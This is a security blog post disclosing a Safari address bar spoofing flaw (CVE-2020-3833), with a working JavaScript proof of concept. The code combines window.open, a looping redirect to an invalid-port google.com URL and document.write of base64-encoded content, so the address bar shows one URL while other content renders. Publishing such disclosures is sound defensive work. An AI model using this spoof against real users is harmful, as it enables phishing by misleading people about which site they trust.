Resource / Blogs /

Safari Address Bar Spoof (CVE-2020-3833)

A proof-of-concept demonstrating how Safari’s address bar can be spoofed to display a legitimate URL while rendering attacker-controlled content.

By

Nikhil Mittal

January 29, 2020

2 mins

Get Tested

Device, firmware and APIs scoped as one system.

Talk to an Expert

Key Takeaways

Address bar spoofing can make a browser display a legitimate-looking URL while showing attacker-controlled content.

The proof of concept uses window.open() to create a new browser window.

It attempts navigation to an invalid-port URL and then writes attacker-controlled content into the document.

According to the blog, interrupting the navigation causes Safari to continue displaying the misleading URL temporarily.

The demonstrated spoof can reportedly persist for more than 30 seconds, increasing the likelihood that a user may trust the displayed page.

In browsers, an address bar represents the current web address.

Safari address bar spoof vulnerability

It is an ability to keep legit URL in the address bar while loading the content from other domain. This makes the user believe that the content is served by a legit domain. For example, the browser is displaying https://www.google.com in the address bar or Omni-box while rendering the content from https://www.evil.com

The basics idea to find such vulnerabilities is to first initiate the javascript call and then interrupt it.

Proof of concept code

<html>
     <head>
           
    <title>Address Bar Spoof!</title>
       
  </head>
     
  <body>
           
    <script>
      function demo() {
        var evilPage = 'PGh0bWw+Cjx0aXRsZT4KZ29vZ2xlLmNvbQo8L3RpdGxlPgo8Ym9keT4KPGgzPkFkZHJlc3MgQmFyIFNwb29mIC1AQzBkM0czM2s8L2gzPgo8L2JvZHk+CjwvaHRtbD4=';
        var x = window.open('', '');
        setInterval(function () {
          x.location.replace('https://www.google.com:8080');
        });
        x.document.write(atob(evilPage));
      }
    </script>
           <button onclick="demo()">test</button>    
  </body>
</html>

Here first we invoked a window.open() method and then we changed the location of that window to invalid port URL and right after we write into the DOM using document.write() method. Since we provided an invalid port URL browser will keep displaying it while displaying the content from attackers domain. we can achieve 30+ seconds spoof using this vulnerability